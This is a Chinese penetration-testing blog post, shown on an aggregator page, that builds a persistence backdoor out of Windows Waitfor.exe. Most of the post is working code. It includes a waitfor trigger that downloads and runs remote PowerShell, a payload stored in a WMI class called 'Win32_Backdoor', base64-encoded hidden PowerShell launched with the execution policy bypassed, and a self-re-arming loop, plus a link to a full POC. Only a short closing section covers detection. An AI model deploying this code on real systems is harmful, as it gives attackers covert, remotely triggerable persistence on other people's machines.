8

Use Waitfor.exe to maintain persistence

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


从Casey Smith‏@subTee的Twitter上获得的一个思路,利用Waitfor.exe有可能实现一种后门机制。 于是我对其做了进一步研究,并且使用Powershell写了一个后门利用的POC。 本文将要介绍Waitfor.exe在渗透测试中的利用技巧,并且分享开发POC的思路和细节。

完整POC下载地址如下:

https://github.com/3gstudent/Waitfor-Persistence

0x01 简介


本文将要具体介绍以下内容:

  • Waitfor.exe简介
  • POC细节

0x02 Waitfor.exe简介


用来同步网络中计算机,可以发送或等待系统上的信号

支持系统:

  • Windows Server 2003
  • Windows Vista
  • Windows XP
  • Windows Server 2008
  • Windows 7
  • Windows Server 2003 with SP2
  • Windows Server 2003 R2
  • Windows Server 2008 R2
  • Windows Server 2000
  • Windows Server 2012
  • Windows Server 2003 with SP1
  • Windows 8
  • Windows 10
  • 其他Server系统未测试,理论上支持

位于System32文件夹下,以命令行方式启动

支持参数如下图

Alt text

具体细节如下:

/s <Computer>:指定发送的目的计算机的名称或IP地址(不能使用反斜杠)。如果不加此参数,将会在域内以广播形式发送

/u [<Domain>\]<User>:使用指定用户帐户的凭据运行脚本。如果不加此参数,表示使用当前用户的凭据

/p [<Password>]:用户密码

/si:表示发送信号,用于激活,如果不加此参数,表示等待接收信号

/t <Timeout>:指定等待信号的秒数。如果不加此参数,表示无限期等待

<SignalName>:指定的信号名称,大小写不敏感,长度不能超过225个字符

注:

Computers can only receive signals if they are in the same domain as the computer sending the signal.

即同一网段的主机才能接收信号

主要用途:

实现同一网段内的主机同时执行命令

测试实例:

开启等待模式:

waitfor signalcalc && calc.exe

参数说明:

  • 信号名称: signalcalc
  • 接收信号后的操作:calc.exe,即启动计算器

此时,后台存在进程waitfor.exe

发送信号:

waitfor /s 127.0.0.1 /si signalcalc

参数说明:

  • 目的计算机:127.0.0.1(本机测试使用),域内使用换成主机ip
  • /si表示发送信号
  • 信号名称: signalcalc

详细操作如下图

Alt text

注:

更多基本介绍可参照微软官方文档,链接如下:

https://technet.microsoft.com/en-us/library/cc731613(v=ws.11).aspx

0x03 利用思路


根据以上的基本介绍,最直观的认识,waitfor可被当作后门来使用

Daniel Bohannon‏ @danielhbohannon在twitter上分享了他的利用思路:将waitfor接收信号后的操作设置为从远程服务器下载powershell代码并执行

地址如下:

https://twitter.com/danielhbohannon/status/872258924078092288

细节如下图

Alt text

此外,他还提到了一个有趣的技巧:如果将powershell代码设置为延期执行,那么接收信号后,后台将不存在进程waitfor.exe

我验证了这个结论,方法如下:

开启等待模式:

waitfor test1 && && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1')

发送信号:

waitfor /s 127.0.0.1 /si test1

https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1的内容如下:

Start-Sleep -Seconds 10;
start-process calc.exe;

当成功接收信号后,进程waitfor.exe退出

接着执行powershell脚本,等待10秒再启动calc.exe

这10秒内,只存在进程powershell.exe

也就是说,如果把等待时间设置更长,那么再这一段等待时间内不存在进程waitfor.exe,提醒防御者注意这个细节

0x04 POC细节


如果作为一个后门,那么上面的利用方法还不够成熟

因为触发一次后,进程waitfor.exe将退出,导致该后门无法重复使用

需要再次开启一个等待模式,才能再次触发后门

当然,可以在每次后门触发后手动开启一个等待模式

但这不够智能,能否通过脚本实现自动开启等待模式,使其成为一个可持续触发的后门呢?

为此,我写了以下POC

在目标系统保存一个ps脚本1.ps1

1.ps1内容如下:

start-process calc.exe
cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\test\1.ps1

注:

转义字符&在powershell中要用`&表示

开启等待模式:

waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1

发送信号:

waitfor /s 127.0.0.1 /si persist1

不在目标系统保存文件

这里使用一个之前在《WMI backdoor》中介绍过的技巧,将payload保存在WMI类中,进行读取使用

存储payload:

(管理员权限)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe")
$StaticClass.Put() 

读取payload:

([WmiClass] 'Win32_Backdoor').Properties['Code'].Value

以上操作如下图

Alt text

执行payload:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

注:

通过Invoke-Expression执行命令也可以,使用iex是为了缩短长度

结合waitfor的参数格式,这里选择将代码编码为base64

对执行payload的代码进行base64编码,以下代码保存在code.txt:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

对其进行base64编码,代码如下:

$code = Get-Content -Path code.txt
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded 

获得base64加密代码如下:

JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

以上操作如下图

Alt text

测试base64加密代码:

powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

成功执行代码,如下图

Alt text

根据以上思路,POC如下:

后门代码:

(管理员权限)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& waitfor persist ```&```& powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() 

注:

存在两次转义字符

 ``用来表示`

安装代码:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

激活命令:

waitfor /s 127.0.0.1 /si persist

实际测试如下图

Alt text

存在bug,导致powershell.exe无法正常退出,进程在后台残留

所以需要添加一段代码,用来结束进程powershell.exe

注:

根据逻辑关系,结束powershell.exe的代码要写在powershell -nop -W Hidden -E ...之前

最终,完整POC代码如下:

后门代码:

(管理员权限)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

激活命令:

waitfor /s 127.0.0.1 /si persist

完整演示如下图

Alt text

不存在进程残留的问题

0x05 防御


留意后台进程waitfor.exe

对于后台的可疑进程cmd.exe和powershell.exe,可使用Process Explorer查看其启动参数,如下图

Alt text

也可以读取以上进程中的历史回显内容,参考资料如下:

http://jblog.javelin-networks.com/blog/cli-powershell/

0x06 小结


本文介绍了Waitfor.exe后门的实现思路,也许还会有更多的利用技巧


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK